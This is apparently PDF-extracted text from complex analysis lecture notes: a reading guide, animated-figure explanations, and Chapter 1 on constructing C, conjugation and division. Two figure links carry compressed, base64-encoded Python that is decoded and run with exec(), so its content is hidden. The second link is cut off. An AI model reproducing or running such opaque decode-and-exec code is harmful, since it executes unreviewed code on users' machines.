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How to read these notes

These notes are written to be self-contained. Every object that appears is defined before it is
used, every symbol is given a type and a range, and every assertion is either proved, or explicitly
flagged as a forward reference to a later part of the course, or quoted from real analysis (and then
we say so). Nothing is left to “it is clear that”; where a computation is routine it is still carried
out, because in complex analysis the routine computations are exactly where the interesting
phenomena (multivaluedness, branch cuts, failure of familiar real identities) hide.

The material is organised in eight parts and an appendix.

• Part I (Chapters 1–6) builds the field C, its geometry, its polar description, roots and pow-
ers, the point-set vocabulary we need, and two immediate payoffs: quadratics and constant-
coefficient ODEs.

• Part II (Chapters 7–11) treats complex functions as mappings of the plane: linear maps,
zn, z1/n, and 1/z.

• Part III (Chapters 12–15) is the analytic core: limits, continuity, differentiability, ana-
lyticity, the Cauchy–Riemann equations, harmonic functions.

• Part IV (Chapters 16–18) constructs the elementary transcendental functions ez, log z,
sin z, cos z, sinh z, cosh z, zα and describes their mapping behaviour.

• Part V (Chapters 19–22) is integration: contour integrals, the Cauchy–Goursat theorem,
Cauchy’s integral formulas and their consequences.

• Part VI (Chapters 23–26) treats series: sequences and series, Taylor and Laurent series,
zeros and poles.

• Part VII (Chapters 27–32) develops residues and their applications: the residue theorem,
real integrals, the argument principle, and summing series.

• Part VIII (Chapters 33–34) is conformal mapping and the linear fractional transforma-
tions.

• Appendix A collects the background from multivariable calculus that the notes use.

Exercises appear at the end of each chapter. Exercises marked (⋆) are used later in the notes.
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How to watch the animated figures

Wherever these notes introduce a function and explain what it does to the plane, an animated
figure follows (its caption says “animated”). It shows the function f as a deformation of the plane:
a piece of the domain, drawn as a grid or as coloured tiles, is carried continuously onto its image
under f .

Playing them. Open this PDF in the PyFig Reader and click a picture: it plays in place on
the page, runs forward to f , pauses, runs back, and loops; click it again to pause. In any other
PDF viewer the pictures show the finished map, and clicking one opens its animation in your web
browser. On paper you see the finished map.

What you are watching. Each panel is drawn from a homotopy from the identity to f : a
continuous function H(z, s) of the point z and a time 0 ≤ s ≤ 1, with

H(z, 0) = z and H(z, 1) = f(z).

Frame s of the animation is the picture of z 7→ H(z, s). You will see two different homotopies for
every function:

A the straight-line homotopy H(z, s) = (1 − s) z + s f(z): every point travels along a straight
segment from z to f(z);

B a path of maps chosen for the function at hand, in which every stage z 7→ H(z, s) is itself a
map of the same kind: a rotation followed by a magnification and a translation for a linear
map; the powers zt for zn and the roots, the exponent t running from 1 to n (from 1 to
1/n for the roots); a rotation of the Riemann sphere for 1/z; for another linear fractional
map M , a one-parameter path M s of linear fractional maps (not in general rotations of the
sphere); esz−1

s + s for ez and sin(sz)
s for sin z (both extended by continuity to s = 0, where

they equal z);

C the same path as B, applied to coloured tiles, with the undeformed tiles alongside for com-
parison.

Neither homotopy is canonical. There are infinitely many homotopies from the identity to f ,
and every one of them ends in the same picture, the image of the domain under f . The two shown
here are choices, and you should feel free to prefer one of them, or to imagine a third that makes
more sense to you. The path is not the point; the destination is. What matters is to understand
what f does: where lines, circles and regions go, which angles are kept and which are doubled,
where the map folds the plane over itself or tears it along a cut.

As your understanding grows, the animations themselves will start to make sense: why the
straight-line homotopy folds the square over itself for z2 while z1+s opens the plane like a fan,

viii
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why a rotation of the sphere keeps every circle a circle, why no path of one-to-one maps of the
plane onto itself (in particular no rigid motion) can turn it into its mirror image; the straight-line
homotopy for z̄ manages only by crushing the plane onto a line halfway. When that happens, the
homotopies have done their job.
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The Complex Plane
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Chapter 1

Complex Numbers and Their
Properties

1.1 Why the real numbers are not enough
The real field R is complete and ordered, and yet the polynomial equation

x2 + 1 = 0 (1.1)

has no solution in R: for every x ∈ R we have x2 ≥ 0, hence x2 +1 ≥ 1 > 0. Any ordered field has
this defect, since in an ordered field squares are non-negative. So enlarging R to a field in which
(1.1) is solvable necessarily costs us the order relation. That trade — give up “<”, gain the roots
of every polynomial — is the bargain struck by the complex numbers, and it is an extraordinarily
good one.

We construct C carefully rather than by declaring “let i be a symbol with i2 = −1”. The
declaration is harmless once one knows that a consistent object exists; the construction is what
shows that it does.

1.2 The field C

Definition 1.1 (The complex numbers). Let C denote the set R × R of ordered pairs of real
numbers,

C :=
{

(a, b) : a ∈ R, b ∈ R
}
, (1.2)

equipped with the two binary operations + : C × C → C and · : C × C → C defined for all
a, b, c, d ∈ R by

(a, b) + (c, d) := (a+ c, b+ d), (1.3)
(a, b) · (c, d) := (ac− bd, ad+ bc). (1.4)

Two complex numbers are equal exactly when they are equal as ordered pairs:

(a, b) = (c, d) ⇐⇒ a = c and b = d. (1.5)

Definition (1.3) is nothing but vector addition in R2. Definition (1.4) is the whole content of the
subject: it is up to isomorphism, the only multiplication that makes R2 (with its vector addition,

2
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and with multiplication by reals being the scalar multiplication of R2) into a field extending R.
It is not unique as a formula: for instance (a, b)(c, d) := (ac− 4bd, ad+ bc) also gives a field, but
it is just (1.4) written in the basis (1, 0), (0, 2); all other choices amount to a different choice of
the second basis vector.

Theorem 1.2 (C is a field). The set C of (1.2) with the operations (1.3) and (1.4) is a field.
Explicitly, for all z, w, ζ ∈ C:

(F1) z + w = w + z and zw = wz (commutativity);

(F2) (z + w) + ζ = z + (w + ζ) and (zw)ζ = z(wζ) (associativity);

(F3) z(w + ζ) = zw + zζ (distributivity);

(F4) (0, 0) is an additive identity and (1, 0) a multiplicative identity;

(F5) every z ∈ C has an additive inverse −z;

(F6) every z ∈ C with z ̸= (0, 0) has a multiplicative inverse z−1.

Proof. Write z = (a, b), w = (c, d), ζ = (e, f) with a, b, c, d, e, f ∈ R. Throughout we use only the
field axioms of R.
(F1). Additive commutativity is immediate from (1.3) and commutativity of + in R. For multi-
plication,

zw = (ac− bd, ad+ bc), wz = (ca− db, cb+ da),

and ac− bd = ca− db, ad+ bc = cb+ da in R; by (1.5), zw = wz.
(F2). Additive associativity is componentwise associativity in R. For multiplication we compute
both sides. First

(zw)ζ = (ac− bd, ad+ bc) · (e, f) =
(
(ac− bd)e− (ad+ bc)f, (ac− bd)f + (ad+ bc)e

)
,

whose components expand to

ace− bde− adf − bcf, acf − bdf + ade+ bce.

Second,

z(wζ) = (a, b) · (ce− df, cf + de) =
(
a(ce− df) − b(cf + de), a(cf + de) + b(ce− df)

)
,

whose components expand to

ace− adf − bcf − bde, acf + ade+ bce− bdf.

The two first components agree and the two second components agree, so (zw)ζ = z(wζ).
(F3).

z(w + ζ) = (a, b) · (c+ e, d+ f) =
(
a(c+ e) − b(d+ f), a(d+ f) + b(c+ e)

)
,

with components ac+ ae− bd− bf and ad+ af + bc+ be. On the other hand

zw + zζ = (ac− bd, ad+ bc) + (ae− bf, af + be) = (ac− bd+ ae− bf, ad+ bc+ af + be),
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which agrees componentwise.
(F4). (a, b) + (0, 0) = (a, b) is clear. Also (a, b) · (1, 0) = (a · 1 − b · 0, a · 0 + b · 1) = (a, b).
(F5). Put −z := (−a,−b); then z + (−z) = (0, 0).
(F6). Suppose z = (a, b) ̸= (0, 0), i.e. not both a = 0 and b = 0. Then a2 + b2 > 0 in R, so we
may define

z−1 :=
( a

a2 + b2 ,
−b

a2 + b2

)
. (1.6)

Using (1.4),

z · z−1 =
(a · a− b · (−b)

a2 + b2 ,
a · (−b) + b · a

a2 + b2

)
=
(a2 + b2

a2 + b2 , 0
)

= (1, 0).

Proposition 1.3 (R sits inside C). The map ι : R → C defined by ι(a) := (a, 0) is injective and
satisfies

ι(a+ c) = ι(a) + ι(c), ι(ac) = ι(a)ι(c) for all a, c ∈ R. (1.7)

Proof. Injectivity is (1.5). The first identity in (1.7) is (a, 0) + (c, 0) = (a + c, 0), which is (1.3).
The second is (a, 0) · (c, 0) = (ac− 0, 0 + 0) = (ac, 0), which is (1.4).

Because of Proposition 1.3 we identify the real number a with the complex number (a, 0) and
write a for both. This identification is harmless: all arithmetic performed in R agrees with the
arithmetic performed in C on the image of ι.

Definition 1.4 (The imaginary unit). Set

i := (0, 1) ∈ C. (1.8)

Proposition 1.5. i2 = −1; that is, (0, 1) · (0, 1) = (−1, 0).

Proof. By (1.4), (0, 1)(0, 1) = (0 · 0 − 1 · 1, 0 · 1 + 1 · 0) = (−1, 0), which is the number we have
identified with −1 ∈ R.

Proposition 1.6 (Standard form). Every z ∈ C can be written in exactly one way as

z = x+ iy, x, y ∈ R, (1.9)

where the right-hand side means ι(x) + i · ι(y) computed in C. Indeed z = (x, y) if and only if
(1.9) holds.

Proof. Compute ι(x)+i ι(y) = (x, 0)+(0, 1)(y, 0). Now (0, 1)(y, 0) = (0·y−1·0, 0·0+1·y) = (0, y),
so the sum is (x, 0) + (0, y) = (x, y). Uniqueness is (1.5).

From now on we always write complex numbers in the standard form (1.9), and (1.3)–(1.4)
become the familiar rules

(x1 + iy1) + (x2 + iy2) = (x1 + x2) + i(y1 + y2), (1.10)
(x1 + iy1)(x2 + iy2) = (x1x2 − y1y2) + i(x1y2 + y1x2). (1.11)

Equation (1.11) need not be memorised: it is what one gets by expanding the product formally
and replacing i2 by −1.
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Definition 1.7 (Real and imaginary parts). For z = x+ iy with x, y ∈ R we set

Re z := x ∈ R, Im z := y ∈ R. (1.12)

We call Re z the real part and Im z the imaginary part of z. Note that Im z is a real number:
the imaginary part of 3 + 4i is 4, not 4i. A number z with Re z = 0 and z ̸= 0 is called purely
imaginary.

Warning 1.8. C cannot be made into an ordered field. Suppose < were an order on C compatible
with the field operations. In any ordered field s2 > 0 for every s ̸= 0. Taking s = i gives
−1 = i2 > 0; taking s = 1 gives 1 = 12 > 0. Adding, 0 > 0, a contradiction. Consequently an
expression such as “z1 < z2” is meaningless for general complex numbers, and it is illegal to write
z > 0 unless one has first established z ∈ R. Inequalities in these notes are always between real
quantities, typically moduli or real parts.

1.3 Conjugation
Definition 1.9 (Complex conjugate). For z = x + iy ∈ C with x, y ∈ R, the complex conjugate
of z is

z := x− iy. (1.13)

Theorem 1.10 (Algebra of conjugation). For all z, w ∈ C:

z + w = z + w, (1.14)
zw = z w, (1.15)(

z/w
)

= z/w (w ̸= 0), (1.16)
z = z, (1.17)

Re z = 1
2
(
z + z

)
, Im z = 1

2i
(
z − z

)
, (1.18)

zz = (Re z)2 + (Im z)2 ∈ [0,∞). (1.19)

Moreover z ∈ R if and only if z = z, and z is purely imaginary or zero if and only if z = −z.

Proof. Write z = x+ iy, w = u+ iv with x, y, u, v ∈ R.
(1.14): z+w = (x+ u) + i(y+ v), so z + w = (x+ u) − i(y+ v) = (x− iy) + (u− iv) = z+w.
(1.15): by (1.11), zw = (xu − yv) + i(xv + yu), hence zw = (xu − yv) − i(xv + yu). On the

other hand

z w = (x− iy)(u− iv) = (xu− (−y)(−v)) + i(x(−v) + (−y)u) = (xu− yv) − i(xv + yu),

the same number.
(1.16): let q := z/w, so z = qw. Applying (1.15), z = q w. Since w ̸= 0 we have w ̸= 0 (its

components are u,−v, not both zero), so q = z/w.
(1.17): x− iy = x+ iy.
(1.18): z + z = (x+ iy) + (x− iy) = 2x = 2 Re z and z − z = 2iy = 2i Im z.
(1.19): zz = (x+ iy)(x− iy) = x2 − (iy)(iy) + ixy− ixy = x2 + y2, a sum of two real squares,

hence real and ≥ 0.
Finally z = z means x − iy = x + iy, i.e. 2iy = 0, i.e. y = 0, i.e. z ∈ R; and z = −z means

2x = 0, i.e. Re z = 0.
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Re

Im

z

z−z

−z

x

|z|

Figure 1.1. Conjugation is reflection in the real axis, and negation is the half turn about the origin.
The four points z, z, −z and −z form a rectangle symmetric about both axes; identity (1.19) says
that the product zz of z with its mirror image z is the squared distance to the origin.
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w= (1¡ s) z+ s ¹z; s= 1:00

every point moves in a straight line from z to ¹z

A straight line
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−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

turn the plane over; s= 1:00

reflection in the real axis:
the plane must be turned over, like a page -- no path of one-to-one maps of the plane onto itself does it

B a path of maps
Figure 1.2 (animated). Conjugation z 7→ z̄. A: every point moves in a straight line from z to f(z).
B: reflection in the real axis: the plane must be turned over, like a page – no path of one-to-one maps
of the plane onto itself does it. C: the tiles on the left deform along the path of B.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c01_conj_a&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW130zgW%2Fu5foTX0VC6JidMXmJRwlmGYoTuU4RSWAydkcxRbSUwc21hymwTY377PlZSXpu3Ah%2B2BWJaurq7uy3OvZC%2BRI1ZmYsFH6bjBRpWYSfdQDZbmWlaXImuw4bCYd18XuQw6HsNfOiuLSrO0wJBQ8uSowWZCl1mhs3QYlgtqMaHAWhv6UVXM2NmbhZ4UeZikipZcMXn57vxVg7lOQ41ZYZwVSpJUgelyw5yIue%2F7T9LZmKVJ1y9HAzR9pvQik10%2FritVVJ2yMLL7TKfadGdpPGW6YKWolfSfek9UXKWlfupdioqVI9ZlV2meFFehaX8ddViv32DTDms1WFXnHaarWn6HSrBslyVFXM9krsOx1C8ySc1fF2cJX0kTnHp4hEVu1%2B2yUZ3HOi1yxgP2FeuF4Inuf9jWKft%2B6impz5y%2B%2BTVy7D8dMe5o2bdvNH%2FKnnbpOQozmY%2F1JGCV1HWVnxI1llZVzCxBj6j7p3ZSl3HzfMCigO3tsb3k1MOu9hJI%2FOSh0wnUy%2FYY3%2FWCILCmGEmZkA6uWyRYm3AAs7yDthx1UbEpeLBK5GPpmDovsp6BDj4N1h3DmiyQFuGvCy3V2V98MwRvCJW4lHhykDWIOdwOTpCPfeukgzSPJ1J1qb2ZiHHwtJ4aDk%2BOZB4XiSQeZEHsrZY8CMJEmu6tBbHVsC4ToaXd5%2F7Kb4zqy1pNuI9R0UlnYiwfYp1TFw97yg%2FWGt2HPjEGBd5jTfwxmSesGLF%2F1SU2Wb1KtTRRKCsz7MECz4v8cz0WxgvuLz%2FNRKl08WkIb13eBxETOZY0o88YV7oS6Xiim1maS6ayNJFB6P0hc1lB9IQNF2ws8wHNUYhOG46qlDG9nbK8gKY77K20TheFhySNBhKUITtunjAeT1pRM69nQ1mpUMt5p%2F34ODhlF3ImqikmtFs8CQx51LLUnZNHRLHi2Q4jO3xohttNLJBLy%2Bpki9NRGFnCR4YwOuocRo8C783i93TM4iK%2FRKiBH%2BJxgo0a7TJgGLatyD2glmTtUg0iylksskxZkAvDEHqBdj3PgQ%2F2BH0AqfJy1bUBMm8L0wAb3H82RmzfpNsBPKPdrdG4yDKrBrXCvDdFtni%2B7vY8QrwqfiMguVo53FcfPCbQkA5HRa6BD36H%2BfEMnu5TRzgSszRbUKeSVTpa96t0KdEbtb8HXpk2GOx4BvfPy5De8EBH9NnzPAJ%2FUY350qJ4t2lIXHBCSxgzMEfhy4nC0gE92qxM%2B6RHorTIsxoCj1mRcDwQ8Jnky4A17ViTRbIZtRuYfWClCQiIqM8JU16RLOIOcZYHBwIwrSfG%2BGvhtJjCyj8Q0e5fDBXkMT2GD%2BmiqpQmdSfpJcKm66fjvKikT7gHYKAU43q2QMvtGNOvJrKSvGJPKVEQu3nJBbZH%2B8%2BKMd8lqaD6wGz7M6i2lA90bbBW4BSR3W0U2js4iwobmN2ijp%2By1UY6q5JbJXKyzIohP2%2BwpROBk3kgK4%2BB%2BAH0ev5%2F06fR3BKiDAP2EAu4t2QtSVlckShqo43zgwNlcowgF7iUlU6HmWTteZsisErnHUYmUaQydg6xBUoASArwPS%2BGaa0YIaurT6hAOF9p6ty5TFUBOLBoohel7MbFrMykSy1Ecg5JQaa%2BVNrYPM1FNkYm0fzc5ctMzBrsveXmhiUS2LkdRWonE4Co1%2BojRKgR9QN4CwLjlxsqes%2F%2BSXySVBjr2b0drOyJyfAjS%2BKWglL4eycIZHDr%2FPDvHtRUiWGB%2BqVj9pkxfgZbvIYKX7M8zUrkjNwWd6%2BdGjKITzItJG8HO962KyiktEFiqcGZRl%2BvLB3XmpcNdrEx9LCSYgrrocC7lIynOTBPszGMFzATYSzVLJOoDpSJBxQjMVm5EglZ%2BYLBRz4D7BUTcVUoILFeWbrctnR5q6WHgkqe%2F4IqVUg2yNe8DNg3toqgkgx2YWlpFcuxGvR%2BFxmFoiMzlhuNQG7oobPDvhWhRyt8M3P7dnIu8m0dlk4zSo65shh5HRPKqhhXEhvjLfJj1HfYvUBdjMIEGhGa6lgFXaWID8XGhXRuL4h8uAMQszTnMzHnMBpqDROOQ9MCSIUt%2FEbhGqxGWVoSaGiornuE%2Fo1cxMoIR9meFYhPeHtRa9MJi2ZMzFNsJ0un0oTmGMpS0uJ5iWKjpAxJBtfdqAM0aD6lKuAz0Ggl8ALqWoZUf23Lz5ehYe9gbWFdLy6MDcoUr9q4YEI7S0DmKBT2vUXhdkhBRBvc7KwiSaqDAx412zpgIitQYkoRT%2BBwC1Qn3Yil1hENKimqgZYPvy2%2F%2FadNW6OBGm7E4rSKM3kTnS0sswMESQS9t404VkQKJbOprRS7bYrFtqiO43Vt3NAEAa1VocvDKE94qWGY%2BrqTDauCkq0pM%2FWkKurxhBk6QouZBOAqW27WtMteqxGtMw%2FIXJwpF2k075ZYm66hUpUilhxZEyUhjjk0I9gFFnM6KXmNw1qD1jAbDbZ2eoOA9kn6kpQeDSIOE8EucdQLj6Fq%2Br2hosvAe%2Fv85YvfQN%2BD%2F%2FfRhUL3ARShNCdG%2FKbEx63A5NVe5Cac3DkB1C03wfNeboSCIVGXGw9QgcuGygEnhYGx%2FAXojyHUXUBuEBOwB4gErLKhXBQokvUE%2FmnB0Xt1dn727i0dDptReEKxjZ91E1v%2F968Y3Jdw5AUzR2sUBcQTNiaEsYcP6xUGUu7jjAJQuf%2FJHVj2vXdn7169ICb3r7qIGRV8%2BtRYPlD4NTRfl9%2FR%2BFIDBFV3L2yPMOWPi7Pf%2Fjx7%2FVuDUevZxR8k4X4sKr3fIEmNkt3jF%2FwLvGfv%2FzozJup7Lz68u3hGE3p833hzr9kK2%2Fh%2F%2FBmT0Hxgm63w8MGNTteMzHh0bJp9igUsvD%2FdD%2FoemD%2F%2FE9zpSsTz6ls99rAVBVDt6xdGjJ%2FIubAVN9pVbMlrYCwODkVd4cAxYitlsG4XZwDowLdxOcdacyy2wHOBZz7Hf4LElc7Wh%2FCYrLUt5WpqPt%2BqxIy8oShLnFA5KjAXR3xB3s4X5ImLFrkiyedrMewMcXj2g%2BDuddaiLe5cB7IQ%2Bzmxnzv2q6Vjt04lE1pGZrvagHlFhfPO7c5v8FUxkrJB2Aynl4nFECrHSS7U5BptTW19m%2Bqq3S1tpt65pWoHrLk2W9S0Re22eJcK9e56G%2FEadHVgnKS74sWebA5UBr%2Fgd3drujJiVDS1Wmn6uqQ62NW4kh32k3%2F3mG%2FxBgYRBu2oDOFgTrUJZUFsrd649lpCE6qSLr98B341DraQFWlhFQyB0Y6cmxditLJUfxNnlPxiS0gtorJjcJuczuj5gtBzZvO8SbNQxRcg9RNTcZuZX2iaQZPAQcnfiXe7bBaB%2Bp73dvDiDYkG7ifeS7WL7i9JYiq1kA0N6abqoDslGlXXkzkVxy%2BVHaAaGeTr5IqsEOP0ldMJrLfFYKWQwUYh1KN2Pc1CV3QY9L1b7Yt0ZrmOjVEc47FjbFX1A8aBkxa%2FvWsFNbJ7n7DOpiO75Q%2BY9wETP%2BL5McIsO2id8naKVRFgbBw0tt6h5GBTA2yP23caNzwnYINUQIUAdX6gaPlg%2BTexUHDd45ECkbmQXofFHGm2qJFeTa5Ejs1tVRqTXxAs8w8Ufx8iqqjbSGMf6fWjfb19O%2FEca04a9Hxgngv3vqB3z6Nbr665MkerrsydOd0AdTnS9wnSd%2BCJOV1Bp%2BNQJMlAzKXiVMQ8NqX8Mf0%2BNu3HrT7RhkrqwTxLZ9zKEpwy17mgTivYplOYGp37EjrIcMwXyecah44hXbtDIb5hKeYTqg7ICyjyq66P5dqgzq66aFluYn75t0TESKfxdGCKTTozD%2BEGtFXk%2Fhv%2Bbb3jC2kQ8bJsrI5nYEIXc%2FyLcYoG%2B2KMv73k460lXfGE6F%2FNo%2B8C9N%2FSx4Y0CtsBHatJiME26vQ9OUd59EMGcIVMdf2mTzBlpnN%2FShd6w0zEUz9g5O%2FMbzb9G%2BuYmOt7SYHc0GW7i%2FiFv94aMZypLgo6fVWA1v%2BU%2B8QB5Z1nvpM4L6ErRw73J5%2F4BUEAkWiCEQE9RxjwwWoiun4szWcWuolH2UKmiI4C7waT1g0m5HdYd4fL5ebl2gSf7qPIN%2FzGBpY2S7auEUdm1bU5D4%2FJnHRBDBxCPMJYx%2Bvjkrsptr5CVjJVfm%2FK9syBw7w5KCSdkxsNAqf4JU69xsgNV2JvJV26ANhC33V%2FbEKGvhjw0vlf6Q4k6zXGO2sYAyPvG0e6dY0VFv%2FsMtCWLWBxBKCcSFXsdb4vzdHHntN6hrZvVoDzrengcZtlenYd8jq7Ut8uZfzKkBmHsMeAPZKVkN6nW3njg%2BOsGIpM8aCzun6qCro%2FNIdJOnnaLwBYI5EV3eW47u0vKDDy1H0%2FvPWDZndj0s1Xre6j1t%2BXOPeIHSS0Hy%2Fth4eyUJi9OuFT%2FlITiDoTJePkRVGw%2Fo65utXv%2BWUyMhf5dOL16ZLnqO1tvoCZ4%2BSx%2BXG%2BsPWxazAYpZkcDMJKlVkKsH3o0z1yrxn1oXbIhwTrh%2BWCEMOnytkfWBFDLAoE%2Fh8xnYs0%27%29%29.decode%28%29%0Aexec%28src%29
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turn the plane over; s= 1:00

conjugation reverses orientation: the coloured tiles end up mirrored

C tiles (Figure 1.2, continued)

Identity (1.19) is the engine behind division: to compute z/w one multiplies numerator and
denominator by w,

z

w
= z w

ww
= z w

(Rew)2 + (Imw)2 , (1.20)

because the new denominator is a positive real number and dividing by a real number is done
componentwise.

Example 1.11. Compute 2 + 3i
4 − i

. Here w = 4 − i, w = 4 + i and ww = 42 + (−1)2 = 17. Hence

2 + 3i
4 − i

= (2 + 3i)(4 + i)
17 = 8 + 2i+ 12i+ 3i2

17 = 8 − 3 + 14i
17 = 5

17 + 14
17 i.

One checks the answer by multiplying back:
( 5

17 + 14
17 i
)
(4 − i) = 20+14

17 + 56−5
17 i = 2 + 3i.

1.4 Modulus
Definition 1.12 (Modulus). For z = x + iy ∈ C with x, y ∈ R, the modulus (or absolute value)
of z is the non-negative real number

|z| :=
√
x2 + y2 =

√
zz ≥ 0, (1.21)

where
√

denotes the non-negative real square root.

Note that for z ∈ R the definition (1.21) reduces to the real absolute value, so the notation is
consistent.

Theorem 1.13 (Properties of the modulus). For all z, w ∈ C:

|z| ≥ 0, with |z| = 0 ⇐⇒ z = 0; (1.22)
|z| = |z| ; (1.23)

|zw| = |z| |w| ; (1.24)

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c01_conj_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW1z2zYS%2Fs5fgWPiC%2BjKjCi%2FJJGjzLVp2vjOTj2Or5NE1mkgEpIYUSQLQLakJPfb71mAlGTZvuZDPR6RAhaLxbOLZxeQl8ghKzOx4MN01GBDJaayeugGS3Mj1bXIGmwwKOadd0Uug7bH8JdOy0IZlhboEloeHTTYVJgyK0yWDsJyQW9MaKg2Vn6oiik7OV%2BYcZGHSappylrJ28uz0warGq00RoVxVmhJVgW2qermJMx933%2BZTkcsTTp%2BOezj1WfaLDLZ8eOZ0oVql4W13WcmNbY5S%2BMJMwUrxUxL%2F5X3UscqLc0r71ooVg5Zh92keVLchPb9y7DNur0Gm7RZs8HULG8zo2byGyDBtB2WFPFsKnMTjqR5k0l6%2FWlxkvDamuDYwyMscjdvhw1neWzSImc8YF8wXwidaP6beztm3449Lc1JhTe%2FJY71p0PGK1n29SuNn7BXHXoOw0zmIzMOmJJmpvJjksbUWsXMCXRJunfsBnUYt88fWBSwnR22kxx7WNVOAotfPq0wAbxsh%2FHtKAgC54qhlAlhcNsjwcqFfbjlEmhV0oViE%2BhgSuQjWSmtoshFBhr4JFg1DGbkgbQIf1oYqU9%2B4%2BsuREOoxbXEk0OsQcoRdgiCfOS7IO2neTyWukPv64Hoh04XqeHg6EDmcZFI0kEexNpmkgdBmEjbvDEhlhrOykQY6db5pI4bC30502Puo1e006kYyaeY57jaDzvaD1aIPgGe6AOAj9ge%2FpjME1YM2T9nJRapTlMj7S6UynZ78MDrIv88GwkbBY%2BXV1NRalNcDRCty8cQYiLHlLb3NeMmzQBq6P0qc6lgbMIGCzaSeZ%2BkNPaj24C6lDF9O2Z5AWzb7L10YRaF%2BzS%2Fwd4vQ3a4d8R4PG5Ge%2FlsOpBKh0bO263nh8Exu5BToSYY0GryJLDiUdNJt4%2BekUStsxVGrnvfdrf2MEEunaqjDU0HYeQEn1nB6KC9Hz0LvPPFL%2BmIxUV%2Bjc0FfdiBY8kcngysleZSU0AAiGQVRA0Sylksskw7WgvDELgAT8%2Br6AZrAh7gprysm9bU5W2wGIiC%2Bz%2BOsJvvym1RnEV3ozcusszBoGuWOy%2ByxetVs%2BcRx6n4XMByXYfYFx86xkDIhMMiN2AEv838eIrY9qkhHIppmi2oUUuVDlftOl1KtEatb4FXpg0GP54g4PMypG94oCH67Hke0b1QI750vN3ZsyLVdgRK6LPERhuWk4STA1%2B0WJn2CEeSdFxTd0HHtEg4HtjimeTLgO25vj0Wyb2o1cDoXWdNQNRDbZUx5Q3ZIh4wZ7m7K0DMZmydvzLOiAm8%2FCcmuvWLgYY9tsXqISyU0obgTtLrNEFySEd5oaRPTAcqoKRStWzQVLViDL8ZSyW5Yq8oNZC6eckFlkfrz4oR3xZRgD6wy%2F4MqQ3wwacN1gwqILKHnUJrh2ahsIDpPXB8l6%2FW1jlI7rWosmVaDPhZgy0rEzi5B7byGBwfANezvwxPi9wSpgwC9hQTVN%2BSlSVlcUOm6DUaZ7u72mYVQSFwLZVJB5lkrXmLdqBK521GLtEEGTuD2QJJH5aCbs%2BKQTrTjLi0qkioJDirkTqrQkYpEAcmTcyilJ24mJaZrJIJiZzBUojpP5SxPk9zkY2QOww%2FqzJkJqYN9rvTVnVLpKwz14tkTi6AULfZwxahl6gXIFqwMV7cgeh39g%2FSk6TCes%2Btbbf2JwYjjpxINRVA4b9XhsCGap4%2F%2FXsEmJQYFKhY2nadGeMn8MU7QPiO5WlWImfkrpx7V8GQwXyyaSF5K9iKtm1DYaXbJE4amqn3Xe3peGZ42WAXa0cPlBQTeA8l3bVkPM3BeYaN4LyA2R3GUsMyiXpA2%2F2A8iMmLyuRkJcvGGLkM8heMxGrQoOJTe3pctPT5b2eHggqcv4LqVQj2SBD8zJgX1m9g0py2IWTpVmcRtXv%2FiIy2oqVmPXccAhxKw%2FM9nvOhC7N8NWO7bnBucg3MSwrZLQcce048jYnlKoYKYmF8SbFMSo6rF6gEkYpAkSEocpVAytUBwB7VMgq7AWJD7YIYprmfCrmHE5DdWG348C%2BgaTCJj6jcEVWwywtiTQMoOscoH1tF6myxlG2ZwX2J6K9mBnbCI9mTMxTLCdLJ9JuzRHA0tLxeYlio6QMSQ43nagNNth7RVXAZ7BRbfACcC1Dqrg27efL0KqvaG3hQi8urA%2FKFF%2BNDcGEVpZArJLQWPeGRLVC2kS0wPXKFFmidnd5tNcyARNZgaJSiniMgFugOulELHWBaFlJUw20fPp1%2BfU%2FLVoadcwQRixOVZzJu%2BzsaJntYpNEwL1lzXEm0layi9pIsZuuWGyaWmm8jcYdJIhoHYRVHkZ5wksDx8xuB9lAFZRswS0UU6qYjcbMyhFbTCUIV7tyc0ar7DYb0SrzQKzaZ7raaTTunr02WVGlLkUsObImSkIcbGhEsE0s9jxS8hmOZw2awy402FjpHQFaJ%2BElKT1aRhwkgl3jcBceAmr6vAPRdeC9f%2F32zc%2BQ7yL%2Be2hCofsDgNCGkyJ%2B1%2BLDZmDzajeqBhw9OADSzWqA571dGwVHoi6v95cOvAv0HcKAh0jbsiMoDnQICmUDuShQEJsxYtERoXd6cnZy%2BZ6OfntReET7GB%2BrVyzz3z%2Bh80m8ceBQkiIYaguVgvPFugBHZVvMFDxujxz2HDMrwR1KIcEnT7zLk8vTN6Tu8dUVFbNq%2BoX8dnVFo%2FFpaQFPIoZvjaurP2ZgQd3ZCVvDxzT69M2%2FTt793GD09uPFr%2B%2BtZUKZJw0y36JcPQ7wH3hvT05PLmnC7gu0HvQ8733%2FzTkNQzI98t7qbWjfEq7EcwhFKwoH0Pio6Ul5bxy%2BadAy7Y1Cx5J74F2e0ow9D6m8Npl1OijVYanvts8cg%2BcYvcBzgWeOWTGoXpeVGc8bbExsxue05edNYl0I8gV9Xdiv09Up%2BvP6FD3dPECjK1135Rtd9EdpAzPMKXYprmnOBX2hzTJe3JK9PA1FWWKx3G6GPEZVl1Nl1xUYMJ5jhJT1RhtQZWVbqwakix9oOSQUNDz2XX8rxZb0MHBLW%2BBm2ZqgFg568J6ESyrqo3LbYW3waqL7MEc9PjaEuSIlaoW5oa%2Fmr8RcrTBXZFCNuflOzLnFRjk8txKBLcdd%2F3aXQ8m4Yd%2Fth%2FVkK2zv1xtYjzw05Wqw9cz5j5YLuv6jZCifDw%2FpvPpoeCT3k32%2F573%2Bze4iEurylNAJ2A5r9e4CfxfvnmfvlRosptYl2NIRQYMmk8%2BOhoeRnawlXiTPh36vchCm7E6o2orr2mpc3CDLBG32PQWy4zxbWZUCdVcuBezKbXm4sBQ8TpNE5tuZPcv47ToysLcWdG4GEa0KyoC9ZBcwDPJVOXkrHt5qbiglWDTsqQ80RO%2Ba3u%2FyVhTBCbUyenQ3jaCGgP19Vc%2B67zAgsLTmkoZD7QP0fYDCj3h%2BjKDMdW5svDsSpM3m5ZDKSgqZdQOWXDdQYr4l4RpIwuq1l61IfpSfqfUDhdcHN8keZgvun%2F1DE73TEbUi